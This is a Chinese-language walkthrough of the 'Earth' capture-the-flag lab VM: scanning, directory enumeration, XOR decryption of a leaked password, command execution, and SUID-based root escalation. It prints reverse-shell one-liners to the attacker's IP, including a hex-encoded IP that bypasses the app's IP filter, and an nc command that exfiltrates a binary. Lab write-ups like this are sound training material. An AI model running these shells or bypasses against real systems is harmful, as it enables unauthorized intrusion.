注:靶机开机前需要在虚拟机设置关闭USB,否则靶机无法打开
攻击机IP:192.168.43.118
主机发现:
sudo nmap -sP 192.168.43.1/24
确认目标机IP:192.168.43.241
端口扫描:
sudo nmap -sC -sV -p- 192.168.43.241
扫描结果:
目标机开了22端口和80端口,80端口中配置了两个DNS,需要修改hosts文件指定IP。
没修改hosts之前访问http://192.168.43.241时返回Bad Request(400)错误。
修改hosts:
hosts地址:
windows:
C:\Windows\System32\drivers\etc\hosts
将192.168.43.241 earth.local terratest.earth.local添加到文件末尾
linux:
sudo chmod 777 /etc/hosts
vi /etc/hosts
192.168.43.241 earth.local terratest.earth.local
浏览器访问http://earth.local,页面显示正常
页面最下方有三串数字:
37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40
3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45
2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a
输入框随意添加字符,点击Send Message,下方会增加一串数字。
浏览器访问:https://terratest.earth.local,显示Test site, please ignore.
目录扫描:
gobuster -u http://earth.local -w ../dicts/top7000.txt -x .zip,.php,.txt
发现了/admin/login页面,浏览器访问后是登录页面,尝试弱口令登录:
使用Burp抓包,设置账号密码为爆破点,选择
Cluster Bomb爆破模式
然后添加弱口令字典进行爆破。
爆破无果,继续对https://terratest.earth.local进行目录扫描:
gobuster dir -u https://terratest.earth.local -w ../dicts.txt -x .zip,.php,.txt -k
-k 跳过ssl验证
扫描结果:/robots.txt
访问https://terratest.earth.local/robots.txt
最后一行:Disallow: /testingnotes.*
猜解后缀名为txt
浏览器访问https://terratest.earth.local/testingnotes.txt
翻译后结果:
测试安全消息系统注意事项:
*使用 XOR 加密作为算法,在 RSA 中使用应该是安全的。
*地球已确认他们已收到我们发送的消息。
*testdata.txt 用于测试加密。
*terra 用作管理门户的用户名。
去做:
*我们如何安全地将我们的每月密钥发送到地球? 还是我们应该每周更换密钥?
*需要测试不同的密钥长度以防止暴力破解。 钥匙应该多长?
*需要改进消息界面和管理面板的界面,目前非常基础。
文中提到testdata.txt作为解密字典,先下载它:
wget https://terratest.earth.local/testdata.txt --no-check-certificate
注:文本最后如果有换行需要删除,否则会影响结果
编写python脚本进行异或处理:
import binascii
testdata = binascii.b2a_hex(open('testdata.txt','rb').read()).decode()
for i in open('1.txt','r'):
i = i.replace('\n','')
print(hex(int(i,16) ^ int(testdata,16)))
运行后输出结果为:
0x4163636f7264696e6720746f20726164696f6d657472696320646174696e6720657374696d6174696f6e20616e64206f746865722065766964656e63652c20456172746820666f726d6564206f76657220342e352062696c6c696f6e2079656172732061676f2e2057697468696e207468652066697273742062696c6c696f6e207965617273206f66204561727468277320686973436679202f2f7d6f6d6f3b2f70706561726527327e643b7f662427782c7f6a6a3d2a616c66332c6f717c79247736267c25516a76772b55203c40663b792f6a7f6b72307e683c506a31732e3d066997f3dc732d712c3c6a247b75676e247536267f2a2b6f2765726c6a7c6d6e6e2f3f3b2d277f31252c667b6b78382e607f6229228ce5996e70607573742a797a64317d7862693a6f7b297e73687d2c5e3623546a637937616a2c796e3e4868752d17736b6c2924496e2a27792f6479626a377074347e7522743d356a6768262379782a2b6677693d2f65617079726e63616e786b797f382f6b3c0b363d2b3180e8da712a497238786f22507c377766626e
0x4163636f7264696e6720746f20726164696f6d657472696320646174696e6720657374696d6174696f6e20616e64206f746865722065766964656e63652c20456172746820666f726d6564206f76657220342e352062696c6c696f6e2079656172732061676f2e2057697468696e207468652066697273742062696c6c696f6e207965617273206f66204561727468277320686973746f72792c206c69666520617070656172656420696e20746865206f6365616e7320616e6420626567616e20746f2061666665637420456172746827732061746d6f73706865726520616e6420737572666163652c206c656164696e6720746f207468652070726f6c5e72726c6a7e3c6576797f7b262a786b7c68246b61772d6f6320302d2777656231343669716324687465376166236065637e296f3e6b466e6b756b7a64747c613e797e63697976627e6a6e24364f3f30697e7f647c30767c246c78347e25356c33642a606d783661387b76636b65746469612025652c7b747239783e717b3177246826767e6f6178782d296966347476367075646b
0x6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174
对三串十六进制数字进行转文本处理,最后一段转义后是earthclimatechangebad4humans一直在循环
使用账号:terra 密码:earthclimatechangebad4humans登陆成功
登录后显示是一个命令行,随意测试命令:
命令可以执行。
直接寻找flag文件:
find / -name "*flag*"
发现了一个用户flag:/var/earth_web/user_flag.txt
cat /var/earth_web/user_flag.txt
Command output: [user_flag_3353b67d6437f07ba7d34afd7d2fc27d]
在kali中开启监听端口:
nc -lvvp 1234
尝试反弹shell:
bash -i >& /dev/tcp/192.168.43.118/1234 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.100",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
注:需要在前端代码中去掉长度限制。
改为一个较大的数代码才能输入完全。
执行结果跟上面的方法执行结果相同,猜测网站对ip地址做了过滤。
在文件中查看一下,最终在secure_message/forms.py中发现:
for potential_ip in re.findall(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', value):
try:
ip_address(potential_ip)
except:
pass
else:
raise ValidationError('Remote connections are forbidden.')
对ip中的数字进行了过滤,尝试使用十六进制绕过:
bash -i >& /dev/tcp/0xc0.0xa8.0x43.0x76/1234 0>&1
反弹成功
首先查找有权限的文件:
find / -perm -u=s -type f 2>/dev/null
find / -perm /u=s -type f 2>/dev/null
-perm 按权限查找 ugo(用户/组/其他) rwx(读/写/执行)
S 为SUID/SGID特殊权限
-type 文件类型f->文件 d->文件夹
2>/dev/null 不显示错误信息 2->错误输出(0->标准输入; 1->标准输出) >(先清除再写入) or >>(追加) /dev/null位桶(黑洞),接受到的任何数据都会被丢弃
结果中发现可疑文件:/dev/bin/reset_root
尝试运行:
运行出错,传输到kali解析一下:
攻击机:nc -nlvp 1234 >reset_root
靶机shell:nc 192.168.43.118 1234 < /usr/bin/reset_root
reset_root没有执行权限,需要添加:
sudo chmod +x reset_root
使用strace解析一下:
strace /home/kali/reset_root
结果显示缺少这三个文件,使用shell创建一下:
再次执行./reset_root:
执行成功,root密码被重置为Earth
切换到root,使用密码Earth登录:
成功获取flag!